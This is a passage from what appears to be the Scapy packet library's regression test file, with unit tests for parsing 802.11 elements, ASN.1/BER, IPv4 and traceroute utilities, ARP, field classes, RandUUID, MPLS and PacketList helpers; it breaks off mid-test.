\x7f\x04\x01\x00\x06\x00@\x00") assert Dot11EltMicrosoftWPA in f assert f[Dot11EltMicrosoftWPA].type == 0x01 assert f[Dot11EltMicrosoftWPA].version == 0x01 assert f[Dot11EltMicrosoftWPA].group_cipher_suite.cipher == 0x04 assert f[Dot11EltMicrosoftWPA].nb_pairwise_cipher_suites == 0x01 assert f[Dot11EltMicrosoftWPA].pairwise_cipher_suites[0].cipher == 0x04 assert f[Dot11EltMicrosoftWPA].nb_akm_suites == 0x01 assert f[Dot11EltMicrosoftWPA].akm_suites[0].suite == 0x01 = HT Capabilities f = RadioTap(b"\x00\x00&\x00/@\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x9dt\xc3\xf1\x18\x00\x00\x00\x10\x02l\t\xa0\x00\xd9\x00\x00\x00\xd3\x00\xd7\x01@\x00\x00\x00\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xff\xff\xff\xff\xff\xffP'\x00\x00\x01\x04\x02\x04\x0b\x162\x08\x0c\x12\x18$0H`l\x03\x01\x01-\x1a-@\x17\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x08\x00\x00\x08\x04\x00\x00\x00@Y\xb7T\x13") assert Dot11EltHTCapabilities in f assert f.L_SIG_TXOP_Protection == 0 assert f.Forty_Mhz_Intolerant == 1 assert f.PSMP == 0 assert f.DSSS_CCK == 0 assert f.Max_A_MSDU == 0 assert f.Delayed_BlockAck == 0 assert f.Rx_STBC == 0 assert f.Tx_STBC == 0 assert f.Short_GI_40Mhz == 0 assert f.Short_GI_20Mhz == 1 assert f.Green_Field == 0 assert f.SM_Power_Save == 3 assert f.Supported_Channel_Width == 0 assert f.LDPC_Coding_Capability == 1 assert f.res == 0 assert f.Min_MPDCU_Start_Spacing == 5 assert f.Max_A_MPDU_Length_Exponent == 3 assert f.TX_Unequal_Modulation == 0 assert f.TX_Max_Spatial_Streams == 0 assert f.TX_RX_MCS_Set_Not_Equal == 0 assert f.TX_MCS_Set_Defined == 0 assert f.RX_Highest_Supported_Data_Rate == 0 assert f.RX_MSC_Bitmask == 255 assert f.RD_Responder == 0 assert f.HTC_HT_Support == 0 assert f.MCS_Feedback == 0 assert f.PCO_Transition_Time == 0 assert f.PCO == 0 assert f.Channel_Estimation_Capability == 0 assert f.CSI_max_n_Rows_Beamformer_Supported == 0 assert f.Compressed_Steering_n_Beamformer_Antennas_Supported == 0 assert f.Noncompressed_Steering_n_Beamformer_Antennas_Supported == 0 assert f.CSI_n_Beamformer_Antennas_Supported == 0 assert f.Minimal_Grouping == 0 assert f.Explicit_Compressed_Beamforming_Feedback == 0 assert f.Explicit_Noncompressed_Beamforming_Feedback == 0 assert f.Explicit_Transmit_Beamforming_CSI_Feedback == 0 assert f.Explicit_Compressed_Steering == 0 assert f.Explicit_Noncompressed_Steering == 0 assert f.Explicit_CSI_Transmit_Beamforming == 0 assert f.Calibration == 0 assert f.Implicit_Trasmit_Beamforming == 0 assert f.Transmit_NDP == 0 assert f.Receive_NDP == 0 assert f.Transmit_Staggered_Sounding == 0 assert f.Receive_Staggered_Sounding == 0 assert f.Implicit_Transmit_Beamforming_Receiving == 0 assert f.ASEL == 0 = HT Capabilities with fuzzed values # Those were checked with Wireshark ! f = RadioTap(b'\x00\x00\t\x00\x02\x00\x00\x00\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x1a\xecH\xbf\x85!\x02\xd0m\x91\xa8\xd9\xf0\xa9\xb8\x15\xae\x00\x00\x00,Y\x86\xb3H\xa7?Z\xd2\xa8\xc2') assert Dot11EltHTCapabilities in f assert f.L_SIG_TXOP_Protection == 0 assert f.Forty_Mhz_Intolerant == 1 assert f.PSMP == 0 assert f.DSSS_CCK == 0 assert f.Max_A_MSDU == 1 assert f.Delayed_BlockAck == 0 assert f.Rx_STBC == 0 assert f.Tx_STBC == 1 assert f.Short_GI_40Mhz == 1 assert f.Short_GI_20Mhz == 1 assert f.Green_Field == 0 assert f.SM_Power_Save == 3 assert f.Supported_Channel_Width == 0 assert f.LDPC_Coding_Capability == 0 assert f.res == 5 assert f.Min_MPDCU_Start_Spacing == 7 assert f.Max_A_MPDU_Length_Exponent == 3 assert f.TX_Unequal_Modulation == 0 assert f.TX_Max_Spatial_Streams == 3 assert f.TX_RX_MCS_Set_Not_Equal == 1 assert f.TX_MCS_Set_Defined == 0 assert f.RX_Highest_Supported_Data_Rate == 440 assert f.RX_MSC_Bitmask == 46944200869120244326789 assert f.RD_Responder == 1 assert f.HTC_HT_Support == 0 assert f.MCS_Feedback == 1 assert f.PCO_Transition_Time == 2 assert f.PCO == 0 assert f.Channel_Estimation_Capability == 0 assert f.CSI_max_n_Rows_Beamformer_Supported == 3 assert f.Compressed_Steering_n_Beamformer_Antennas_Supported == 2 assert f.Noncompressed_Steering_n_Beamformer_Antennas_Supported == 2 assert f.CSI_n_Beamformer_Antennas_Supported == 1 assert f.Minimal_Grouping == 0 assert f.Explicit_Compressed_Beamforming_Feedback == 1 assert f.Explicit_Noncompressed_Beamforming_Feedback == 1 assert f.Explicit_Transmit_Beamforming_CSI_Feedback == 2 assert f.Explicit_Compressed_Steering == 0 assert f.Explicit_Noncompressed_Steering == 1 assert f.Explicit_CSI_Transmit_Beamforming == 1 assert f.Calibration == 2 assert f.Implicit_Trasmit_Beamforming == 0 assert f.Transmit_NDP == 0 assert f.Receive_NDP == 0 assert f.Transmit_Staggered_Sounding == 1 assert f.Receive_Staggered_Sounding == 1 assert f.Implicit_Transmit_Beamforming_Receiving == 0 assert f.ASEL.resTransmit_Sounding_PPDUs assert f.ASEL.Receive_ASEL assert f.ASEL.Antenna_Indices_Feedback assert f.ASEL.Explicit_CSI_Feedback assert f.ASEL.Explicit_CSI_Feedback_Based_Transmit_ASEL assert f.ASEL.Antenna_Selection assert f.ASEL == 63 = RadioTap - MCS weird padding f = RadioTap(b'\x00\x00,\x00K\x08\x1c\x00"b\x96\x03\x00\x00\x00\x00\x10\x00l\t\x80\x04\xb0\x00\x80\x04\x01\x00l\t\x01\x00\x1f\x08\x0c\x00\x94\x05\x00\x00\x04\x00\x00\x00\x88\x020\x00.\xdf\xc4J\xb0\xdc\xa0c\x91sf\xech\x05\xca?\xf4h@Y\x00\x00\xaa\xaa\x03\x00\x00\x00\x08\x00E\x00\x05\xdc \xcf@\x00\x80\x06P\xf0\xc0\xa8\x01\n\xc0\xa8\x01\x02\xdb\x8f\x13\x89\xfbv\xa3\xde\xf6\xd8L\xe8P\x10\xff\xfft\xdd\x00\x0023456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901O\xdc\x01x') assert f.knownMCS == 31 assert f.Ness_LSB == 0 assert f.STBC_streams == 0 assert f.FEC_type == 0 assert f.HT_format == 1 assert f.guard_interval == 0 assert f.MCS_bandwidth == 0 assert f.MCS_index == 0xc assert f.A_MPDU_ref == 1428 = Reassociation request f = Dot11(b' \x00:\x01@\xe3\xd6\x7f*\x00\x00\x10\x18\xa9l.@\xe3\xd6\x7f*\x00 \t1\x04\n\x00@\xe3\xd6\x7f*\x00\x00\x064.2.12\x01\x08\x82\x84\x0b\x16$0Hl!\x02\x08\x1a$\x02\x01\x0b0&\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00\x00\x01\x00LD\xfe\xf2l\xdcV\xce\x0b7\xab\xc62\x02O\x112\x04\x0c\x12\x18`\x7f\x08\x01\x00\x00\x00\x00\x00\x00@\xdd\t\x00\x10\x18\x02\x00\x00\x10\x00\x00') assert Dot11EltRSN in f assert f[Dot11EltRSN].pmkids.nb_pmkids == 1 assert len(f[Dot11EltRSN].pmkids.pmkid_list) == 1 assert f[Dot11EltRSN].pmkids.pmkid_list[0] == b'LD\xfe\xf2l\xdcV\xce\x0b7\xab\xc62\x02O\x11' = Backward compatibility of Dot11Elt # Old naming scheme assert Dot11Elt(ID="DSset").sprintf("%ID%") == 'DSSS Set' assert Dot11Elt(ID="RSNinfo").sprintf("%ID%") == 'RSN' ###################################### # More PPI tests in contrib/ppi_cace # ###################################### ############ ############ + 802.3 = Test detection assert isinstance(Dot3(raw(Ether())),Ether) assert isinstance(Ether(raw(Dot3())),Dot3) a = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00') assert isinstance(a,Dot3) assert a.dst == 'ff:ff:ff:ff:ff:ff' assert a.src == '00:00:00:00:00:00' a = Dot3(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x90\x00') assert isinstance(a,Ether) assert a.dst == 'ff:ff:ff:ff:ff:ff' assert a.src == '00:00:00:00:00:00' ############ ############ + ASN.1 = MIB ~ mib import tempfile fd, fname = tempfile.mkstemp() os.write(fd, b"-- MIB test\nscapy OBJECT IDENTIFIER ::= {test 2807}\n") os.close(fd) load_mib(fname) assert(sum(1 for k in six.itervalues(conf.mib.__dict__) if "scapy" in k) == 1) assert(sum(1 for oid in conf.mib) > 100) = MIB - graph ~ mib import mock @mock.patch("scapy.asn1.mib.do_graph") def get_mib_graph(do_graph): def store_graph(graph, **kargs): assert graph.startswith("""digraph "mib" {""") assert """"test.2807" [ label="scapy" ];""" in graph do_graph.side_effect = store_graph conf.mib._make_graph() get_mib_graph() = MIB - test aliases ~ mib # https://github.com/secdev/scapy/issues/2542 assert conf.mib._oidname("2.5.29.19") == "basicConstraints" = DADict tests a = DADict("test") a[0] = "test_value1" a["scapy"] = "test_value2" assert a.test_value1 == 0 assert a.test_value2 == "scapy" with ContextManagerCaptureOutput() as cmco: a._show() outp = cmco.get_output() assert "scapy = 'test_value2'" in outp assert "0 = 'test_value1'" in outp = Test ETHER_TYPES assert ETHER_TYPES.IPv4 == 2048 try: import warnings with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") ETHER_TYPES["BAOBAB"] = 0xffff assert ETHER_TYPES.BAOBAB == 0xffff assert issubclass(w[-1].category, DeprecationWarning) except DeprecationWarning: # -Werror is used pass = BER tests BER_id_enc(42) == '*' BER_id_enc(2807) == b'\xbfw' b = BERcodec_IPADDRESS() r1 = b.enc("8.8.8.8") r1 == b'@\x04\x08\x08\x08\x08' r2 = b.dec(r1)[0] r2.val == '8.8.8.8' a = b'\x1f\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\x01\x01\x00C\x02\x01U0\x0f0\r\x06\x08+\x06\x01\x02\x01\x02\x01\x00\x02\x01!' ret = False try: BERcodec_Object.check_type(a) except BER_BadTag_Decoding_Error: ret = True else: ret = False assert(ret) = BER trigger failures try: BERcodec_INTEGER.do_dec(b"\x02\x01") assert False except BER_Decoding_Error: pass ############ ############ + inet.py = IPv4 - ICMPTimeStampField test = ICMPTimeStampField("test", None) value = test.any2i("", "07:28:28.07") value == 26908070 test.i2repr("", value) == '7:28:28.70' = IPv4 - UDP null checksum IP(raw(IP()/UDP()/Raw(b"\xff\xff\x01\x6a")))[UDP].chksum == 0xFFFF = IPv4 - (IP|UDP|TCP|ICMP)Error query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/UDP()/DNS() answer = IP(dst="192.168.0.254", src="192.168.0.2", ttl=1)/ICMP()/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/UDPerror()/DNS() query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/UDP()/DNS() answer = IP(dst="192.168.0.254", src="192.168.0.2")/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/UDPerror()/DNS() assert(answer.answers(query) == True) query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/TCP() answer = IP(dst="192.168.0.254", src="192.168.0.2")/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/TCPerror() assert(answer.answers(query) == True) query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/ICMP()/"scapy" answer = IP(dst="192.168.0.254", src="192.168.0.2")/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/ICMPerror()/"scapy" assert(answer.answers(query) == True) = IPv4 - mDNS a = IP(dst="224.0.0.251") assert a.hashret() == b"\x00" # TODO add real case here = IPv4 - utilities l = overlap_frag(IP(dst="1.2.3.4")/ICMP()/("AB"*8), ICMP()/("CD"*8)) assert(len(l) == 6) assert([len(raw(p[IP].payload)) for p in l] == [8, 8, 8, 8, 8, 8]) assert([(p.frag, p.flags.MF) for p in [IP(raw(p)) for p in l]] == [(0, True), (1, True), (2, True), (0, True), (1, True), (2, False)]) = IPv4 - traceroute utilities ip_ttl = [("192.168.0.%d" % i, i) for i in six.moves.range(1, 10)] tr_packets = [ (IP(dst="192.168.0.1", src="192.168.0.254", ttl=ttl)/TCP(options=[("Timestamp", "00:00:%.2d.00" % ttl)])/"scapy", IP(dst="192.168.0.254", src=ip)/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/TCPerror()/"scapy") for (ip, ttl) in ip_ttl ] tr = TracerouteResult(tr_packets) assert(tr.get_trace() == {'192.168.0.1': {1: ('192.168.0.1', False), 2: ('192.168.0.2', False), 3: ('192.168.0.3', False), 4: ('192.168.0.4', False), 5: ('192.168.0.5', False), 6: ('192.168.0.6', False), 7: ('192.168.0.7', False), 8: ('192.168.0.8', False), 9: ('192.168.0.9', False)}}) def test_show(): with ContextManagerCaptureOutput() as cmco: tr = TracerouteResult(tr_packets) tr.show() result_show = cmco.get_output() expected = " 192.168.0.1:tcp80 \n" expected += "1 192.168.0.1 11 \n" expected += "2 192.168.0.2 11 \n" expected += "3 192.168.0.3 11 \n" expected += "4 192.168.0.4 11 \n" expected += "5 192.168.0.5 11 \n" expected += "6 192.168.0.6 11 \n" expected += "7 192.168.0.7 11 \n" expected += "8 192.168.0.8 11 \n" expected += "9 192.168.0.9 11 \n" index_result = result_show.index("\n1") index_expected = expected.index("\n1") assert(result_show[index_result:] == expected[index_expected:]) test_show() def test_summary(): with ContextManagerCaptureOutput() as cmco: tr = TracerouteResult(tr_packets) tr.summary() result_summary = cmco.get_output() assert(len(result_summary.split('\n')) == 10) assert(any( "IP / TCP 192.168.0.254:%s > 192.168.0.1:%s S / Raw ==> " "IP / ICMP 192.168.0.9 > 192.168.0.254 time-exceeded " "ttl-zero-during-transit / IPerror / TCPerror / " "Raw" % (ftp_data, http) in result_summary for ftp_data in ['21', 'ftp_data'] for http in ['80', 'http', 'www_http', 'www'] )) test_summary() @mock.patch("scapy.layers.inet.plt") def test_timeskew_graph(mock_plt): def fake_plot(data, **kwargs): return data mock_plt.plot = fake_plot srl = SndRcvList([(a, a) for a in [IP(raw(p[0])) for p in tr_packets]]) ret = srl.timeskew_graph("192.168.0.254") assert(len(ret) == 9) assert(ret[0][1] == 0.0) test_timeskew_graph() tr = TracerouteResult(tr_packets) saved_AS_resolver = conf.AS_resolver conf.AS_resolver = None tr.make_graph() assert(len(tr.graphdef) == 491) tr.graphdef.startswith("digraph trace {") == True assert(('"192.168.0.9" ->' in tr.graphdef) == True) conf.AS_resolver = conf.AS_resolver pl = PacketList(list([Ether()/x for x in itertools.chain(*tr_packets)])) srl, ul = pl.sr() assert(len(srl) == 9 and len(ul) == 0) conf_color_theme = conf.color_theme conf.color_theme = BlackAndWhite() assert(len(pl.sessions().keys()) == 10) conf.color_theme = conf_color_theme new_pl = pl.replace(IP.src, "192.168.0.254", "192.168.0.42") assert("192.168.0.254" not in [p[IP].src for p in new_pl]) = IPv4 - reporting ~ netaccess @mock.patch("scapy.layers.inet.sr") def test_report_ports(mock_sr): def sr(*args, **kargs): return [(IP()/TCP(dport=65081, flags="S"), IP()/TCP(sport=65081, flags="SA")), (IP()/TCP(dport=65082, flags="S"), IP()/ICMP(type=3, code=1)), (IP()/TCP(dport=65083, flags="S"), IP()/TCP(sport=65083, flags="R"))], [IP()/TCP(dport=65084, flags="S")] mock_sr.side_effect = sr report = "\\begin{tabular}{|r|l|l|}\n\\hline\n65081 & open & SA \\\\\n\\hline\n?? & closed & ICMP type dest-unreach/host-unreachable from 127.0.0.1 \\\\\n65083 & closed & TCP R \\\\\n\\hline\n65084 & ? & unanswered \\\\\n\\hline\n\\end{tabular}\n" assert(report_ports("www.secdev.org", [65081,65082,65083,65084]) == report) test_report_ports() def test_IPID_count(): with ContextManagerCaptureOutput() as cmco: random.seed(0x2807) IPID_count([(IP()/UDP(), IP(id=random.randint(0, 65535))/UDP()) for i in range(3)]) result_IPID_count = cmco.get_output() lines = result_IPID_count.split("\n") assert(len(lines) == 5) assert(lines[0] in ["Probably 3 classes: [4613, 53881, 58437]", "Probably 3 classes: [9103, 9227, 46399]"]) test_IPID_count() ############ ############ + ARP = Simple Ether() / ARP() show (Ether() / ARP()).show() = ARP for IPv4 p = raw(ARP()) assert p == raw(ARP(ptype=0x0800)) p = ARP(p) assert p.ptype == 0x0800 assert valid_ip(p.pdst) assert valid_ip(p.psrc) assert isinstance(p.payload, NoPayload) = ARP for IPv6 p = ARP(raw(ARP(ptype=0x86dd))) assert p.ptype == 0x86dd assert valid_ip6(p.pdst) assert valid_ip6(p.psrc) assert isinstance(p.payload, NoPayload) = Dummy ARP p = ARP(raw(ARP(plen=2, hwlen=1, hwdst="x", hwsrc="y", pdst="aa", psrc="bb"))) assert p.hwdst == b"x" assert p.hwsrc == b"y" assert p.pdst == b"aa" assert p.psrc == b"bb" assert isinstance(p.payload, NoPayload) p = ARP(raw(ARP(plen=1, hwlen=1))) assert p.hwdst == p.hwsrc == p.pdst == p.psrc == b"\x00" assert isinstance(p.payload, NoPayload) p = ARP(pdst='192.168.178.0/24') assert "Net" in repr(p) ############ ############ + Fields = FieldLenField with BitField class Test(Packet): name = "Test" fields_desc = [ FieldLenField("BitCount", None, fmt="H", count_of="Values"), FieldLenField("ByteCount", None, fmt="B", length_of="Values"), FieldListField("Values", [], BitField("data", 0x0, size=1), count_from=lambda pkt: pkt.BitCount), ] pkt = Test(raw(Test(Values=[0, 0, 0, 0, 1, 1, 1, 1]))) assert(pkt.BitCount == 8) assert(pkt.ByteCount == 1) = PacketListField class TestPacket(Packet): name = 'TestPacket' fields_desc = [ PacketListField('list', [], 0) ] a = TestPacket() a.list.append(1) assert(len(a.list) == 1) b = TestPacket() assert(len(b.list) == 0) = PacketField class InnerPacket(Packet): fields_desc = [ StrField("f_name", "test") ] class TestPacket(Packet): fields_desc = [ PacketField("inner", InnerPacket(), InnerPacket) ] p = TestPacket() print(p.inner.f_name) assert p.inner.f_name == b"test" p = TestPacket() p.inner.f_name = b"scapy" assert p.inner.f_name == b"scapy" p = TestPacket() assert p.inner.f_name == b"test" + UUIDField = Parsing a human-readable UUID f = UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef') f.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef') = Parsing a machine-encoded UUID f = UUIDField('f', bytearray.fromhex('0123456789abcdef0123456789abcdef')) f.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef') = Parsing a tuple of values f = UUIDField('f', (0x01234567, 0x89ab, 0xcdef, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef)) f.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef') = Handle None values f = UUIDField('f', None) f.addfield(None, b'', f.default) == hex_bytes('00000000000000000000000000000000') = Get a UUID for dissection from uuid import UUID f = UUIDField('f', None) f.getfield(None, bytearray.fromhex('0123456789abcdef0123456789abcdef01')) == (b'\x01', UUID('01234567-89ab-cdef-0123-456789abcdef')) = Verify little endian UUIDField * The endianness of a UUIDField should be apply by block on each block in parenthesis '(01234567)-(89ab)-(cdef)-(01)(23)-(45)(67)(89)(ab)(cd)(ef)' f = UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef', uuid_fmt=UUIDField.FORMAT_LE) f.addfield(None, b'', f.default) == hex_bytes('67452301ab89efcd0123456789abcdef') = Verify reversed UUIDField * This should reverse the entire value as 128-bits f = UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef', uuid_fmt=UUIDField.FORMAT_REV) f.addfield(None, b'', f.default) == hex_bytes('efcdab8967452301efcdab8967452301') + RandUUID = RandUUID setup RANDUUID_TEMPLATE = '01234567-89ab-*-01*-*****ef' RANDUUID_FIXED = uuid.uuid4() = RandUUID default behaviour u = RandUUID()._fix() u.version == 4 = RandUUID incorrect implicit args expect_exception(ValueError, lambda: RandUUID(node=0x1234, name="scapy")) expect_exception(ValueError, lambda: RandUUID(node=0x1234, namespace=uuid.uuid4())) expect_exception(ValueError, lambda: RandUUID(clock_seq=0x1234, name="scapy")) expect_exception(ValueError, lambda: RandUUID(clock_seq=0x1234, namespace=uuid.uuid4())) expect_exception(ValueError, lambda: RandUUID(name="scapy")) expect_exception(ValueError, lambda: RandUUID(namespace=uuid.uuid4())) = RandUUID v4 UUID (correct args) u = RandUUID(version=4)._fix() u.version == 4 u2 = RandUUID(version=4)._fix() u2.version == 4 str(u) != str(u2) = RandUUID v4 UUID (incorrect args) expect_exception(ValueError, lambda: RandUUID(version=4, template=RANDUUID_TEMPLATE)) expect_exception(ValueError, lambda: RandUUID(version=4, node=0x1234)) expect_exception(ValueError, lambda: RandUUID(version=4, clock_seq=0x1234)) expect_exception(ValueError, lambda: RandUUID(version=4, namespace=uuid.uuid4())) expect_exception(ValueError, lambda: RandUUID(version=4, name="scapy")) = RandUUID v1 UUID u = RandUUID(version=1)._fix() u.version == 1 u = RandUUID(version=1, node=0x1234)._fix() u.version == 1 u.node == 0x1234 u = RandUUID(version=1, clock_seq=0x1234)._fix() u.version == 1 u.clock_seq == 0x1234 u = RandUUID(version=1, node=0x1234, clock_seq=0x1bcd)._fix() u.version == 1 u.node == 0x1234 u.clock_seq == 0x1bcd = RandUUID v1 UUID (implicit version) u = RandUUID(node=0x1234)._fix() u.version == 1 u.node == 0x1234 u = RandUUID(clock_seq=0x1234)._fix() u.version == 1 u.clock_seq == 0x1234 u = RandUUID(node=0x1234, clock_seq=0x1bcd)._fix() u.version == 1 u.node == 0x1234 u.clock_seq == 0x1bcd = RandUUID v1 UUID (incorrect args) expect_exception(ValueError, lambda: RandUUID(version=1, template=RANDUUID_TEMPLATE)) expect_exception(ValueError, lambda: RandUUID(version=1, namespace=uuid.uuid4())) expect_exception(ValueError, lambda: RandUUID(version=1, name="scapy")) = RandUUID v5 UUID u = RandUUID(version=5, namespace=RANDUUID_FIXED, name="scapy")._fix() u.version == 5 u2 = RandUUID(version=5, namespace=RANDUUID_FIXED, name="scapy")._fix() u2.version == 5 u.bytes == u2.bytes # implicit v5 u2 = RandUUID(namespace=RANDUUID_FIXED, name="scapy")._fix() u.bytes == u2.bytes = RandUUID v5 UUID (incorrect args) expect_exception(ValueError, lambda: RandUUID(version=5, template=RANDUUID_TEMPLATE)) expect_exception(ValueError, lambda: RandUUID(version=5, node=0x1234)) expect_exception(ValueError, lambda: RandUUID(version=5, clock_seq=0x1234)) = RandUUID v3 UUID u = RandUUID(version=3, namespace=RANDUUID_FIXED, name="scapy")._fix() u.version == 3 u2 = RandUUID(version=3, namespace=RANDUUID_FIXED, name="scapy")._fix() u2.version == 3 u.bytes == u2.bytes # implicit v5 u2 = RandUUID(namespace=RANDUUID_FIXED, name="scapy")._fix() u.bytes != u2.bytes = RandUUID v3 UUID (incorrect args) expect_exception(ValueError, lambda: RandUUID(version=5, template=RANDUUID_TEMPLATE)) expect_exception(ValueError, lambda: RandUUID(version=5, node=0x1234)) expect_exception(ValueError, lambda: RandUUID(version=5, clock_seq=0x1234)) = RandUUID looks like a UUID with str re.match(r'[0-9a-f]{8}(-[0-9a-f]{4}){3}-[0-9a-f]{12}', str(RandUUID()), re.I) is not None = RandUUID with a static part * RandUUID template can contain static part such a 01234567-89ab-*-01*-*****ef re.match(r'01234567-89ab-[0-9a-f]{4}-01[0-9a-f]{2}-[0-9a-f]{10}ef', str(RandUUID('01234567-89ab-*-01*-*****ef')), re.I) is not None = RandUUID with a range part * RandUUID template can contain a part with a range of values such a 01234567-89ab-*-01*-****c0:c9ef re.match(r'01234567-89ab-[0-9a-f]{4}-01[0-9a-f]{2}-[0-9a-f]{8}c[0-9]ef', str(RandUUID('01234567-89ab-*-01*-****c0:c9ef')), re.I) is not None ############ ############ + MPLS tests = MPLS - build/dissection from scapy.contrib.mpls import EoMCW, MPLS p1 = MPLS()/IP()/UDP() assert(p1[MPLS].s == 1) p2 = MPLS()/MPLS()/IP()/UDP() assert(p2[MPLS].s == 0) p1[MPLS] p1[IP] p2[MPLS] p2[MPLS:1] p2[IP] = MPLS encapsulated Ethernet with CW - build/dissection p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= MPLS(label=1)/EoMCW(seq=1234) p /= Ether(dst="33:33:33:33:33:33", src="44:44:44:44:44:44")/IP() p = Ether(raw(p)) assert(p[EoMCW].zero == 0) assert(p[EoMCW].reserved == 0) assert(p[EoMCW].seq == 1234) = MPLS encapsulated Ethernet without CW - build/dissection p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= MPLS(label=2)/MPLS(label=1) p /= Ether(dst="33:33:33:33:33:33", src="44:44:44:44:44:44")/IP() p = Ether(raw(p)) assert(p[Ether:2].type == 0x0800) try: p[EoMCW] except IndexError: ret = True else: ret = False assert(ret) assert(p[Ether:2].type == 0x0800) = MPLS encapsulated IP - build/dissection p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= MPLS(label=1)/IP() p = Ether(raw(p)) try: p[EoMCW] except IndexError: ret = True else: ret = False assert(ret) try: p[Ether:2] except IndexError: ret = True else: ret = False assert(ret) p[IP] ############ ############ + PacketList methods = plot() import mock @mock.patch("scapy.plist.plt") def test_plot(mock_plt): def fake_plot(data, **kwargs): return data mock_plt.plot = fake_plot plist = PacketList([IP(id=i)/TCP() for i in range(10)]) lines = plist.plot(lambda p: (p.time, p.id)) assert(len(lines) == 10) test_plot() = diffplot() import mock @mock.patch("scapy.plist.plt") def test_diffplot(mock_plt): def fake_plot(data, **kwargs): return data mock_plt.plot = fake_plot plist = PacketList([IP(id=i)/TCP() for i in range(10)]) lines = plist.diffplot(lambda x,y: (x.time, y.id-x.id)) assert(len(lines) == 9) test_diffplot() = multiplot() import mock @mock.patch("scapy.plist.plt") def test_multiplot(mock_plt): def fake_plot(data, **kwargs): return data mock_plt.plot = fake_plot tmp = [IP(id=i)/TCP() for i in range(10)] plist = PacketList([tuple(tmp[i-2:i]) for i in range(2, 10, 2)]) lines = plist.multiplot(lambda x: (x[1][IP].src, (x[1].time, x[1][IP].id))) assert(len(lines) == 1) assert(len(lines[0]) == 4) test_multiplot() = rawhexdump() def test_rawhexdump(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/TCP() for i in range(2)]) p.rawhexdump() result_pl_rawhexdump = cmco.get_output() assert(len(result_pl_rawhexdump.split('\n')) == 7) assert(result_pl_rawhexdump.startswith("0000 45 00 00 28")) test_rawhexdump() = hexraw() def test_hexraw(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/Raw(str(i)) for i in range(2)]) p.hexraw() result_pl_hexraw = cmco.get_output() assert(len(result_pl_hexraw.split('\n')) == 5) assert("0000 30" in result_pl_hexraw) test_hexraw() = hexdump() def test_hexdump(): with ContextManagerCaptureOutput() as cmco: p = PacketList([IP()/Raw(str(i)) for i in range(2)]) p.hexdump() result_pl_hexdump = cmco.get_output() assert(len(result_pl_hexdump.split('\n')) == 7) assert("0010 7F 00 00 01 31" in result_pl_hexdump) test_hexdump() = import_hexcap() @mock.patch("scapy.utils.input") def test_import_hexcap(mock_input): data = """ 0000 FF FF FF FF FF FF AA AA AA AA AA AA 08 00 45 00 